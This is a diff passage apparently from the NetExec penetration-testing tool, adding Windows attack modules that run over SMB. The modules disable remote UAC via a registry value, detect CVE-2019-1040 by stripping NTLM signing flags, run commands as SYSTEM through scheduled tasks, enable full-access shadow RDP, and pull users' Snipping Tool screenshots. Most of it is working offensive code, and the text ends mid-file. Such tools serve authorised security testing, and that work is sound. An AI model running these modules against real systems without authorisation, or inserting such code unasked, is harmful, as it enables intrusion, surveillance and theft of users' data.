keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")["phkResult"]
|
||||
|
||||
# Checks if the key already exists or not
|
||||
try:
|
||||
rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00")
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" in str(e):
|
||||
context.log.debug("Registry key 'LocalAccountTokenFilterPolicy' does not exist, creating it")
|
||||
ans = rrp.hBaseRegCreateKey(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00")
|
||||
|
||||
# Disable remote UAC
|
||||
if self.action == "disable":
|
||||
rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 1)
|
||||
context.log.highlight("Remote UAC disabled")
|
||||
|
||||
# Enable remote UAC
|
||||
if self.action == "enable":
|
||||
rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 0)
|
||||
context.log.highlight("Remote UAC enabled")
|
||||
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error {e}")
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
@@ -0,0 +1,192 @@
|
||||
# Original Author:
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
# dlive (@D1iv3)
|
||||
#
|
||||
# Refernece:
|
||||
# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
|
||||
# - https://github.com/fox-it/cve-2019-1040-scanner
|
||||
# - https://github.com/Dliv3/cve-2019-1040-scanner
|
||||
#
|
||||
# Modify by:
|
||||
# XiaoliChan (@Memory_before)
|
||||
|
||||
import calendar
|
||||
import struct
|
||||
import time
|
||||
import random
|
||||
import string
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket import nt_errors
|
||||
from impacket.smbconnection import SessionError
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "remove-mic"
|
||||
description = "Check if host vulnerable to CVE-2019-1040"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.action = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""PORT Port to check (defaults to 445)"""
|
||||
self.port = 445
|
||||
if "PORT" in module_options:
|
||||
self.port = int(module_options["PORT"])
|
||||
|
||||
def on_login(self, context, connection):
|
||||
ntlm.computeResponseNTLMv2 = Modify_Func.mod_computeResponseNTLMv2
|
||||
ntlm.getNTLMSSPType3 = Modify_Func.mod_getNTLMSSPType3
|
||||
try:
|
||||
connection.conn.reconnect()
|
||||
except SessionError as e:
|
||||
if e.getErrorCode() == nt_errors.STATUS_INVALID_PARAMETER:
|
||||
context.log.info("Target is not vulnerable to CVE-2019-1040 (authentication was rejected)")
|
||||
else:
|
||||
context.log.info("Unexpected Exception while authentication")
|
||||
else:
|
||||
context.log.highlight("Potentially vulnerable to CVE-2019-1040, next step: https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/")
|
||||
|
||||
class Modify_Func:
|
||||
# Slightly modified version of impackets computeResponseNTLMv2
|
||||
def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash="", nthash="",
|
||||
use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""):
|
||||
|
||||
responseServerVersion = b"\x01"
|
||||
hiResponseServerVersion = b"\x01"
|
||||
responseKeyNT = ntlm.NTOWFv2(user, password, domain, nthash)
|
||||
|
||||
av_pairs = ntlm.AV_PAIRS(serverName)
|
||||
# In order to support SPN target name validation, we have to add this to the serverName av_pairs. Otherwise we will
|
||||
# get access denied
|
||||
# This is set at Local Security Policy -> Local Policies -> Security Options -> Server SPN target name validation
|
||||
# level
|
||||
av_pairs[ntlm.NTLMSSP_AV_TARGET_NAME] = "cifs/".encode("utf-16le") + av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1]
|
||||
if av_pairs[ntlm.NTLMSSP_AV_TIME] is not None:
|
||||
aTime = av_pairs[ntlm.NTLMSSP_AV_TIME][1]
|
||||
else:
|
||||
aTime = struct.pack("<q", (116444736000000000 + calendar.timegm(time.gmtime()) * 10000000))
|
||||
av_pairs[ntlm.NTLMSSP_AV_TIME] = aTime
|
||||
av_pairs[ntlm.NTLMSSP_AV_FLAGS] = b"\x02" + b"\x00" * 3
|
||||
serverName = av_pairs.getData()
|
||||
|
||||
if len(channel_binding_value) > 0:
|
||||
av_pairs[ntlm.NTLMSSP_AV_CHANNEL_BINDINGS] = channel_binding_value
|
||||
|
||||
# Format according to:
|
||||
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b
|
||||
temp = responseServerVersion # RespType 1 byte
|
||||
temp += hiResponseServerVersion # HiRespType 1 byte
|
||||
temp += b"\x00" * 2 # Reserved1 2 bytes
|
||||
temp += b"\x00" * 4 # Reserved2 4 bytes
|
||||
temp += aTime # TimeStamp 8 bytes
|
||||
temp += clientChallenge # ChallengeFromClient 8 bytes
|
||||
temp += b"\x00" * 4 # Reserved 4 bytes
|
||||
temp += av_pairs.getData() # AvPairs variable
|
||||
|
||||
ntProofStr = ntlm.hmac_md5(responseKeyNT, serverChallenge + temp)
|
||||
|
||||
ntChallengeResponse = ntProofStr + temp
|
||||
lmChallengeResponse = ntlm.hmac_md5(responseKeyNT, serverChallenge + clientChallenge) + clientChallenge
|
||||
sessionBaseKey = ntlm.hmac_md5(responseKeyNT, ntProofStr)
|
||||
|
||||
if user == "" and password == "":
|
||||
# Special case for anonymous authentication
|
||||
ntChallengeResponse = ""
|
||||
lmChallengeResponse = ""
|
||||
|
||||
return ntChallengeResponse, lmChallengeResponse, sessionBaseKey
|
||||
|
||||
def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash="", nthash="", use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""):
|
||||
# Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best.
|
||||
if password is None:
|
||||
password = ""
|
||||
|
||||
# Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with
|
||||
# international characters.
|
||||
import sys
|
||||
encoding = sys.getfilesystemencoding()
|
||||
if encoding is not None:
|
||||
try:
|
||||
user.encode("utf-16le")
|
||||
except Exception:
|
||||
user = user.decode(encoding)
|
||||
try:
|
||||
password.encode("utf-16le")
|
||||
except Exception:
|
||||
password = password.decode(encoding)
|
||||
try:
|
||||
domain.encode("utf-16le")
|
||||
except Exception:
|
||||
domain = user.decode(encoding)
|
||||
|
||||
ntlmChallenge = ntlm.NTLMAuthChallenge(type2)
|
||||
|
||||
# Let's start with the original flags sent in the type1 message
|
||||
responseFlags = type1["flags"]
|
||||
|
||||
# Token received and parsed. Depending on the authentication
|
||||
# method we will create a valid ChallengeResponse
|
||||
ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge["challenge"])
|
||||
|
||||
clientChallenge = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(8)]))
|
||||
|
||||
serverName = ntlmChallenge["TargetInfoFields"]
|
||||
|
||||
ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse(ntlmChallenge["flags"], ntlmChallenge["challenge"],
|
||||
clientChallenge, serverName, domain, user, password,
|
||||
lmhash, nthash, use_ntlmv2, channel_binding_value=channel_binding_value)
|
||||
|
||||
# Let's check the return flags
|
||||
if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0:
|
||||
# No extended session security, taking it out
|
||||
responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
|
||||
if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_128) == 0:
|
||||
# No support for 128 key len, taking it out
|
||||
responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128
|
||||
if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0:
|
||||
# No key exchange supported, taking it out
|
||||
responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH
|
||||
|
||||
# drop the mic need to unset these flags
|
||||
# https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py#L72
|
||||
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SEAL == ntlm.NTLMSSP_NEGOTIATE_SEAL:
|
||||
responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SEAL
|
||||
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SIGN == ntlm.NTLMSSP_NEGOTIATE_SIGN:
|
||||
responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SIGN
|
||||
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
|
||||
responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN
|
||||
|
||||
|
||||
keyExchangeKey = ntlm.KXKEY(ntlmChallenge["flags"], sessionBaseKey, lmResponse, ntlmChallenge["challenge"], password,
|
||||
lmhash, nthash, use_ntlmv2)
|
||||
|
||||
# Special case for anonymous login
|
||||
if user == "" and password == "" and lmhash == "" and nthash == "":
|
||||
keyExchangeKey = b"\x00" * 16
|
||||
|
||||
|
||||
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:
|
||||
exportedSessionKey = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(16)]))
|
||||
encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey)
|
||||
else:
|
||||
encryptedRandomSessionKey = None
|
||||
exportedSessionKey = keyExchangeKey
|
||||
|
||||
ntlmChallengeResponse["flags"] = responseFlags
|
||||
ntlmChallengeResponse["domain_name"] = domain.encode("utf-16le")
|
||||
ntlmChallengeResponse["host_name"] = type1.getWorkstation().encode("utf-16le")
|
||||
if lmResponse == "":
|
||||
ntlmChallengeResponse["lanman"] = b"\x00"
|
||||
else:
|
||||
ntlmChallengeResponse["lanman"] = lmResponse
|
||||
ntlmChallengeResponse["ntlm"] = ntResponse
|
||||
if encryptedRandomSessionKey is not None:
|
||||
ntlmChallengeResponse["session_key"] = encryptedRandomSessionKey
|
||||
|
||||
return ntlmChallengeResponse, exportedSessionKey
|
||||
+37
-7
@@ -1,5 +1,10 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError
|
||||
|
||||
|
||||
class NXCModule:
|
||||
# Reworked by @Defte_ 13/10/2024 to remove unecessary execute operation
|
||||
name = "runasppl"
|
||||
description = "Check if the registry value RunAsPPL is set or not"
|
||||
supported_protocols = ["smb"]
|
||||
@@ -14,10 +19,35 @@ class NXCModule:
|
||||
""""""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
|
||||
context.log.debug(f"Executing command: {command}")
|
||||
p = connection.execute(command, True)
|
||||
if "The system was unable to find the specified registry key or value" in p:
|
||||
context.log.debug("Unable to find RunAsPPL Registry Key")
|
||||
else:
|
||||
context.log.highlight(p)
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
if remote_ops._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
_ = data = None
|
||||
try:
|
||||
_, data = rrp.hBaseRegQueryValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
"RunAsPPL\x00",
|
||||
)
|
||||
except rrp.DCERPCSessionError as e:
|
||||
context.log.debug(f"RunAsPPL error {e} on host {connection.host}")
|
||||
|
||||
if data is None or data not in [1, 2]:
|
||||
context.log.highlight("RunAsPPL disabled")
|
||||
else:
|
||||
context.log.highlight("RunAsPPL enabled")
|
||||
|
||||
except DCERPCSessionError as e:
|
||||
context.log.debug(f"Error connecting to RemoteRegistry {e} on host {connection.host}")
|
||||
finally:
|
||||
remote_ops.finish()
|
||||
|
||||
+8
-8
@@ -49,7 +49,7 @@ class NXCModule:
|
||||
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.base_dn = connection.ldapConnection._baseDN if not self.base_dn else self.base_dn
|
||||
self.base_dn = connection.ldap_connection._baseDN if not self.base_dn else self.base_dn
|
||||
self.sc = ldap.SimplePagedResultsControl()
|
||||
|
||||
# Basic SCCM enumeration
|
||||
@@ -58,7 +58,7 @@ class NXCModule:
|
||||
search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})"
|
||||
controls = security_descriptor_control(sdflags=0x04)
|
||||
context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'")
|
||||
result = connection.ldapConnection.search(
|
||||
result = connection.ldap_connection.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
sizeLimit=0,
|
||||
@@ -129,7 +129,7 @@ class NXCModule:
|
||||
try:
|
||||
yoinkers = "(|(samaccountname=*sccm*)(samaccountname=*mecm*)(description=*sccm*)(description=*mecm*)(name=*sccm*)(name=*mecm*))"
|
||||
context.log.display("Searching for SCCM related objects")
|
||||
result = connection.ldapConnection.search(
|
||||
result = connection.ldap_connection.search(
|
||||
searchFilter=yoinkers,
|
||||
searchBase=self.base_dn,
|
||||
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
|
||||
@@ -157,7 +157,7 @@ class NXCModule:
|
||||
try:
|
||||
self.context.log.debug(f"Resolving group members recursively for {dn}")
|
||||
# Somehow BaseDN is not working together with the LDAP_MATCHING_RULE_IN_CHAIN
|
||||
result = self.connection.ldapConnection.search(
|
||||
result = self.connection.ldap_connection.search(
|
||||
searchFilter=f"(memberOf:{LDAP_MATCHING_RULE_IN_CHAIN}:={dn})",
|
||||
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
|
||||
)
|
||||
@@ -176,7 +176,7 @@ class NXCModule:
|
||||
def get_management_points(self):
|
||||
"""Searches for all SCCM management points in the Active Directory and maps them to their SCCM site via the site code."""
|
||||
try:
|
||||
response = self.connection.ldapConnection.search(
|
||||
response = self.connection.ldap_connection.search(
|
||||
searchBase=self.base_dn,
|
||||
searchFilter="(objectClass=mSSMSManagementPoint)",
|
||||
attributes=["cn", "dNSHostName", "mSSMSDefaultMP", "mSSMSSiteCode"],
|
||||
@@ -199,7 +199,7 @@ class NXCModule:
|
||||
def get_sites(self):
|
||||
"""Searches for all SCCM sites in the Active Directory, sorted by site code."""
|
||||
try:
|
||||
response = self.connection.ldapConnection.search(
|
||||
response = self.connection.ldap_connection.search(
|
||||
searchBase=self.base_dn,
|
||||
searchFilter="(objectClass=mSSMSSite)",
|
||||
attributes=["cn", "mSSMSSiteCode", "mSSMSAssignmentSiteCode"],
|
||||
@@ -244,7 +244,7 @@ class NXCModule:
|
||||
"""Tries to resolve a SID and add the dNSHostName to the sccm site list."""
|
||||
try:
|
||||
self.context.log.debug(f"Resolving SID: {sid}")
|
||||
result = self.connection.ldapConnection.search(
|
||||
result = self.connection.ldap_connection.search(
|
||||
searchBase=self.base_dn,
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName", "sAMAccountType", "member", "dNSHostName"],
|
||||
@@ -277,7 +277,7 @@ class NXCModule:
|
||||
|
||||
def dn_to_sid(self, dn) -> str:
|
||||
"""Tries to resolve a DN to a SID."""
|
||||
result = self.connection.ldapConnection.search(
|
||||
result = self.connection.ldap_connection.search(
|
||||
searchBase=self.base_dn,
|
||||
searchFilter=f"(distinguishedName={dn})",
|
||||
attributes=["sAMAccountName", "objectSid"],
|
||||
|
||||
+51
-33
@@ -1,6 +1,7 @@
|
||||
import contextlib
|
||||
import os
|
||||
from time import sleep
|
||||
from datetime import datetime
|
||||
from datetime import datetime, timedelta
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5 import tsch, transport
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
@@ -91,6 +92,10 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
if "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
|
||||
self.logger.fail("Task was not run, seems like the specified user has no active session on the target")
|
||||
with contextlib.suppress(Exception):
|
||||
exec_method.deleteartifact()
|
||||
else:
|
||||
self.logger.fail(f"Failed to execute command: {e}")
|
||||
|
||||
|
||||
class TSCH_EXEC:
|
||||
@@ -143,6 +148,18 @@ class TSCH_EXEC:
|
||||
)
|
||||
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
def deleteartifact(self):
|
||||
dce = self.__rpctransport.get_dce_rpc()
|
||||
if self.__doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.set_credentials(*self.__rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||
self.logger.display(f"Deleting task \\{self.task}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
dce.disconnect()
|
||||
|
||||
def execute(self, command, output=False):
|
||||
self.__retOutput = output
|
||||
self.execute_handler(command)
|
||||
@@ -151,24 +168,20 @@ class TSCH_EXEC:
|
||||
def output_callback(self, data):
|
||||
self.__outputBuffer = data
|
||||
|
||||
def get_current_date(self):
|
||||
# Get current date and time
|
||||
now = datetime.now()
|
||||
def get_end_boundary(self):
|
||||
# Get current date and time + 5 minutes
|
||||
end_boundary = datetime.now() + timedelta(minutes=5)
|
||||
|
||||
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
|
||||
return now.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
|
||||
return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
|
||||
|
||||
def gen_xml(self, command, fileless=False):
|
||||
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
|
||||
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||
<Triggers>
|
||||
<CalendarTrigger>
|
||||
<StartBoundary>{self.get_current_date()}</StartBoundary>
|
||||
<Enabled>true</Enabled>
|
||||
<ScheduleByDay>
|
||||
<DaysInterval>1</DaysInterval>
|
||||
</ScheduleByDay>
|
||||
</CalendarTrigger>
|
||||
<RegistrationTrigger>
|
||||
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
|
||||
</RegistrationTrigger>
|
||||
</Triggers>
|
||||
<Principals>
|
||||
<Principal id="LocalSystem">
|
||||
@@ -224,53 +237,58 @@ class TSCH_EXEC:
|
||||
|
||||
def execute_handler(self, command, fileless=False):
|
||||
dce = self.__rpctransport.get_dce_rpc()
|
||||
|
||||
if self.__doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
dce.set_credentials(*self.__rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
tmpName = gen_random_string(8) if self.task is None else self.task
|
||||
# Give self.task a random string as name if not already specified
|
||||
self.task = gen_random_string(8) if self.task is None else self.task
|
||||
xml = self.gen_xml(command, fileless)
|
||||
|
||||
self.logger.info(f"Task XML: {xml}")
|
||||
taskCreated = False
|
||||
self.logger.info(f"Creating task \\{tmpName}")
|
||||
self.logger.info(f"Creating task \\{self.task}")
|
||||
try:
|
||||
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||
tsch.hSchRpcRegisterTask(dce, f"\\{self.task}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||
except Exception as e:
|
||||
if "ERROR_NONE_MAPPED" in str(e):
|
||||
self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task")
|
||||
if e.error_code and hex(e.error_code) == "0x80070005":
|
||||
self.logger.fail("Schtask_as: Create schedule task got blocked.")
|
||||
if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
|
||||
with contextlib.suppress(Exception):
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
elif e.error_code and hex(e.error_code) == "0x80070005":
|
||||
self.logger.fail("Create schedule task got blocked.")
|
||||
with contextlib.suppress(Exception):
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
elif "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
|
||||
self.logger.fail(f"User {self.user} does not exist in the domain.")
|
||||
with contextlib.suppress(Exception):
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
elif "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
|
||||
with contextlib.suppress(Exception):
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
elif "ERROR_ALREADY_EXISTS" in str(e):
|
||||
self.logger.fail(f"Create schedule task failed: {e}")
|
||||
else:
|
||||
self.logger.fail(f"Schtask_as: Create schedule task failed: {e}")
|
||||
self.logger.fail(f"Create schedule task failed: {e}")
|
||||
with contextlib.suppress(Exception):
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
return
|
||||
else:
|
||||
taskCreated = True
|
||||
|
||||
self.logger.info(f"Running task \\{tmpName}")
|
||||
tsch.hSchRpcRun(dce, f"\\{tmpName}")
|
||||
|
||||
done = False
|
||||
while not done:
|
||||
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}")
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}")
|
||||
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task}")
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task}")
|
||||
if resp["pLastRuntime"]["wYear"] != 0:
|
||||
done = True
|
||||
else:
|
||||
sleep(2)
|
||||
|
||||
self.logger.info(f"Deleting task \\{tmpName}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
|
||||
taskCreated = False
|
||||
|
||||
if taskCreated is True:
|
||||
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
|
||||
self.logger.info(f"Deleting task \\{self.task}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
|
||||
if self.__retOutput:
|
||||
if fileless:
|
||||
|
||||
@@ -0,0 +1,83 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
# Module by @Defte_
|
||||
# Enables or disables shadow RDP
|
||||
class NXCModule:
|
||||
name = "shadowrdp"
|
||||
description = "Enables or disables shadow RDP"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.action = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
|
||||
if "ACTION" not in module_options:
|
||||
context.log.fail("ACTION option not specified!")
|
||||
exit(1)
|
||||
|
||||
if module_options["ACTION"].lower() not in ["enable", "disable"]:
|
||||
context.log.fail("ACTION must be either enable, disable or query")
|
||||
exit(1)
|
||||
self.action = module_options["ACTION"].lower()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
keyHandle = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\"
|
||||
)["phkResult"]
|
||||
|
||||
# Checks if the key already exists or not
|
||||
try:
|
||||
rrp.hBaseRegQueryValue(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
"Shadow\x00"
|
||||
)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" in str(e):
|
||||
context.log.debug("here")
|
||||
ans = rrp.hBaseRegCreateKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
"Shadow\x00")
|
||||
|
||||
# Disable remote UAC
|
||||
if self.action == "disable":
|
||||
rrp.hBaseRegSetValue(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
"Shadow\x00",
|
||||
rrp.REG_DWORD,
|
||||
0
|
||||
)
|
||||
context.log.highlight("Shadow RDP disabled")
|
||||
|
||||
# Enable remote UAC
|
||||
if self.action == "enable":
|
||||
rrp.hBaseRegSetValue(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
"Shadow\x00",
|
||||
rrp.REG_DWORD,
|
||||
2
|
||||
)
|
||||
context.log.highlight("Shadow RDP with full access enabled")
|
||||
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error {e}")
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
@@ -0,0 +1,134 @@
|
||||
import ntpath
|
||||
import os
|
||||
from os.path import join, getsize, exists
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
|
||||
name = "snipped"
|
||||
description = "Downloads screenshots taken by the (new) Snipping Tool."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
self.excluded_files = ["desktop.ini"]
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""USERS: Download only specified user(s); format: -o USERS=user1,user2,user3"""
|
||||
self.context = context
|
||||
self.users = [user.lower() for user in module_options["USERS"].split(",")] if "USERS" in module_options else None
|
||||
|
||||
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = "C$"
|
||||
|
||||
output_base_dir = join(NXC_PATH, "modules", "snipped", "screenshots")
|
||||
os.makedirs(output_base_dir, exist_ok=True)
|
||||
|
||||
context.log.info("Getting all user folders")
|
||||
try:
|
||||
user_folders = connection.conn.listPath(self.share, "\\Users\\*")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to list user folders: {e}")
|
||||
return
|
||||
|
||||
context.log.info(f"User folders: {[folder.get_longname() for folder in user_folders]}")
|
||||
if not user_folders:
|
||||
context.log.fail("No User folders found!")
|
||||
return
|
||||
else:
|
||||
context.log.info("Attempting to download screenshots if they exist.")
|
||||
|
||||
total_files_downloaded = 0
|
||||
host_output_path = None
|
||||
|
||||
for user_folder in user_folders:
|
||||
folder_name = user_folder.get_longname()
|
||||
if folder_name.lower() not in [".", "..", "all users", "default", "default user", "public"]:
|
||||
normalized_name = folder_name.lower()
|
||||
if self.users and normalized_name not in self.users:
|
||||
continue
|
||||
|
||||
context.log.info(f"Searching for Screenshots folder in {folder_name}'s home directory")
|
||||
screenshots_folders = self.find_screenshots_folders(folder_name)
|
||||
if not screenshots_folders:
|
||||
context.log.debug(f"No Screenshots folder found for user {folder_name}. Skipping.")
|
||||
continue
|
||||
|
||||
for screenshot_path in screenshots_folders:
|
||||
try:
|
||||
screenshot_files = connection.conn.listPath(self.share, screenshot_path + "\\*")
|
||||
except Exception as e:
|
||||
context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}")
|
||||
continue
|
||||
|
||||
if not screenshot_files:
|
||||
context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}")
|
||||
continue
|
||||
|
||||
user_output_dir = join(output_base_dir, connection.host)
|
||||
os.makedirs(user_output_dir, exist_ok=True)
|
||||
host_output_path = user_output_dir
|
||||
|
||||
for file in screenshot_files:
|
||||
if not file.is_directory():
|
||||
remote_file_name = file.get_longname()
|
||||
|
||||
if remote_file_name.lower() in self.excluded_files:
|
||||
context.log.debug(f"Excluding file {remote_file_name}.")
|
||||
continue
|
||||
|
||||
remote_file_path = ntpath.join(screenshot_path, remote_file_name)
|
||||
sanitized_path = screenshot_path.replace("\\", "_").replace("/", "_")
|
||||
local_file_name = f"{folder_name}_{sanitized_path}_{remote_file_name}"
|
||||
local_file_path = join(user_output_dir, local_file_name)
|
||||
|
||||
try:
|
||||
with open(local_file_path, "wb") as local_file:
|
||||
